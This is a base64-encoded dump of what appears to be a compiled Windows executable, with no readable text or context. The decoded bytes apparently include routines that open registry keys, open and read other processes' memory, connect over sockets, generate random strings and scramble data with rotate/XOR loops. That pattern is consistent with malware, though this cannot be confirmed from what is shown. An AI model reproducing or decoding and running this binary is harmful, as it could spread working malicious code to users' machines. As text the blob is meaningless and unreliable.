AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 